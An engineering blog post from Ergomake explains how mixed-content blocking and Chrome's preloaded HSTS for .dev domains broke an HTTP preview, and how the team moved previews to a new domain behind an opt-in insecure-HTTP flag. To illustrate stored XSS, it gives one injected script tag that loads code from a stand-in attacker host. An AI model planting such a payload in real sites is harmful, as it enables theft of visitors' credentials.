At Ergomake, we generate previews for every type of application whenever someone opens a pull request. After we spin up these previews, we send users a GitHub comment with links to preview their applications.

Last week, everything was working, and we were smiling. That is, until one of our users had to set up an HTTP preview.

This user's preview didn't work, and that puzzled us. In this post, we'll explain how mixed content broke this user's preview, how HSTS (HTTP Strict-Transport-Security) headers could've saved us, and how Google's defaults "forced" us to buy yet another domain.

Content-security policies, mixed content, and how they broke this preview

The problem with this preview was that we served it through HTTPS, but it fetched data from an HTTP back-end outside our infrastructure.

By default, most browsers do not allow pages served via HTTPS to load content from HTTP origins.

Why were HTTP requests blocked from this HTTPS preview?

Assume this preview was a page that displayed comments. In that case, someone malicious could submit a comment containing the string <script src= "https://hacker.com/exploit.js"></script>.

Then, that comment's content could be interpreted as an actual HTML script tag if the website doesn't sanitize comments. That injected script tag would cause further visitors to load hacker.com/exploit.js, which could steal their credentials or monitor their activity.

These types of attacks are known as cross-site scripting (XSS).

To prevent them, in addition to sanitizing the user's inputs, engineers can set Content-Security-Policy headers when serving their pages.

These content security policies, or CSPs, are a set of rules that a website can implement to help keep visitors safe.

Think of it like setting up rules for a party at your house. For example, you might say that people can only come in if they're invited, can't bring any dangerous items, and have to leave by a certain time.

Similarly, a website's CSP sets up rules for what content can be loaded on a webpage and what these pieces of content can do.

For example, you can use a CSP header to say that your client can only load scripts from https://example.com. In that case, the user's browser will not load scripts from other sources, like https://hacker.com.

That way, malicious agents could not load scripts from origins other than the ones you've allowed. Furthermore, setting a CSP header also prevents inline scripts from running. Consequently, attackers can't embed code as an inline script tag either.

Now, imagine that this preview website uses a script from a third party called terrible-analytics.com, only available via HTTP. In that case, Mr. Hacker could still inject code into your page, even if your CSP only allows scripts from comments.com and terrible-analytics.com.

That's because Mr. Hacker could impersonate terrible-analytics.com, given it doesn't use HTTPS. Then, they'd be able to serve malicious scripts, which get injected into your page and executed by the user's browser.

These types of attacks are called "on-path attacks". They happen when an attacker can place themselves between two devices. In the example above, the on-path attacker used a malicious DNS server to direct users to their servers, which delivered malware disguised as the analytics.js script the client expected.

To prevent these on-path attacks, browsers disable loading "mixed content," which is content served via HTTP to a page loaded via HTTPS. That way, every page loaded via HTTPS can only load content from other secure sources whose authority is "certified."

If you stop and think about it, it makes sense to block mixed content by default because it defeats HTTPS's purpose.

Serving an HTTPS website that loads HTTP content is kind of pointless. If you do that, attackers can still serve malicious scripts that steal credentials and track everything users are doing.

Can't you just allow users to access their previews via HTTP?

By now, perspicacious readers have probably concluded that we could simply avoid upgrading all HTTP requests to HTTPS.

That way, we could avoid the below situation illustrated, in which a user requests an HTTP website and gets redirected to its HTTPS version, failing to load data from an HTTP source.

By avoiding this upgrade, the user's preview would work fine because they'd be loading HTTP content from a page served via HTTP.

Although serving HTTP content is not ideal, we probably shouldn't really stay in the way of our users if that's what they want to do.

We then went on to disable our Nginx settings which redirected HTTP requests on port 80 to HTTPS requests on port 443. For that, we simply added the nginx.ingress.kubernetes.io/ssl-redirect: "false" annotation to the preview's ingress resource.

After we did that, we noticed previews were still being automatically redirected from HTTP to HTTPS, this time with a 307 status code.

After seeing that redirect, we looked into our HTTP Strict-Transport-Security (HSTS) settings. That's because when the Strict-Transport-Security header is set, it converts all future HTTP access attempts to HTTPS for the duration specified in the header's content.

As a note, HSTS headers are only respected after the first HTTPS visit. That's because on-path attackers can manipulate headers if you use an HTTP connection.

For example, the header below will convert all future HTTP access attempts to HTTPS for the next 31536000 seconds (1 year), including requests to any subdomains.

Strict-Transport-Security: max-age=31536000; includeSubDomains

We thought we had forgotten to disable HSTS for our previews, so we confirmed our nginx.org/hsts setting was set to false. Then, we cleared our browser's HSTS cache and tried again.

No luck. We still received a 307.

At this point, we were puzzled, especially because cURL'ing the same URL yielded a 200response, not a307` redirect.

$ curl preview-example-123.env.ergomake.dev
[...]
< HTTP/2 200
< content-type: text/html
< content-length: 27986
< date: Wed, 29 Mar 2023 14:13:16 GMT
< last-modified: Fri, 24 Mar 2023 18:45:28 GMT

Why don't these force-ssl and HSTS settings work?

Once we saw that cURL's response differed from the browser's, we thought there could only be one culprit: Google.

After some research, we found this blog post by Mattias Geniar, which explained how Google was forcing .dev domains to be served via HTTPS through a preloaded HSTS setting in their Chrome browsers — which Firefox later adopted too.

Thanks to those preloaded settings, anyone accessing environments at my-preview-name.env.ergomake.dev would automatically attempt to load the preview via HTTPS, regardless of what we did.

At first, we thought we could opt out of HSTS preload, but it doesn't seem like that'd be possible. Even if you access your Chrome's HSTS settings via chrome://net-internals/#hsts, you'll see Google doesn't allow you to remove preloaded HSTS entries.

Solving the problem by buying another domain

There's no way to escape Google's will. If they want all .dev websites to be served via HTTPS, who are we to disagree?

We then went on to buy another domain: ergomake.link. From now on, we'll serve all Ergomake preview environments using that domain.

That's because .link domains won't enter browsers' HSTS preload lists unless their owners explicitly want to include them.

To include their websites in the HSTS preload list, users can submit their websites to hstspreload.org, a service maintained by Google.

Including your website in that list will protect users even before they load your site via HTTPS the first time. Then, browsers will transform all HTTP access into HTTPS regardless of whether the site has been accessed before.

One funny thing about hstspreload.org is that it's not in the HSTS spec at all, even though all major browsers use it.

Google maintains an HSTS preload service. By following the guidelines and successfully submitting your domain, you can ensure that browsers will connect to your domain only via secure connections. While the service is hosted by Google, all browsers are using this preload list. However, it is not part of the HSTS specification and should not be treated as official — MDN docs for HSTS.

It's worth noticing that even the preload directive is non-standard, even though it's used as part of this entire "preload infrastructure" all across the web.

# The `preload` directive below informs that the owner wants the
# domain to be included in browser's preload lists
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Ensuring our users know HTTP previews are far from ideal

We didn't just want our users to start creating HTTP previews without being aware of the security implications that come with it.

To prevent that, we decided to add a special label to users' compose files so that they could acknowledge they're aware that HTTP previous can be dangerous.

Similarly to what React does with dangerouslySetInnerHtml, we decided to create a configuration flag that would make it obvious that HTTP previews are a bad idea.

From now on, users who wish to set up HTTP previews must use the dev.ergomake.preview.dangerously-enable-insecure-http flag.

version: '3.8'
services:
  web:
    build:
      context: ../frontend
    ports:
      - '8080:8080'
    labels:
      dev.ergomake.preview.dangerously-enable-insecure-http: true

If that sounds scary, I'm glad. We want to ensure people know setting up HTTP previews is a bad idea.

Even though having HTTP previews is not as bad as having an actual HTTP application running somewhere on the web, you probably still don't want people eavesdropping on whatever you write into these preview environments.

Wanna chat?

We're a two people startup solving the difficult technical challenge of creating isomorphic ephemeral environments for previews and development environments.

I'd love to chat if you're interested in what we're doing or just want to talk about related subjects. Please, book a slot with me here.

Alternatively, you can send me a tweet or DM @thewizardlucas or an email at lucas.costa@getergomake.com.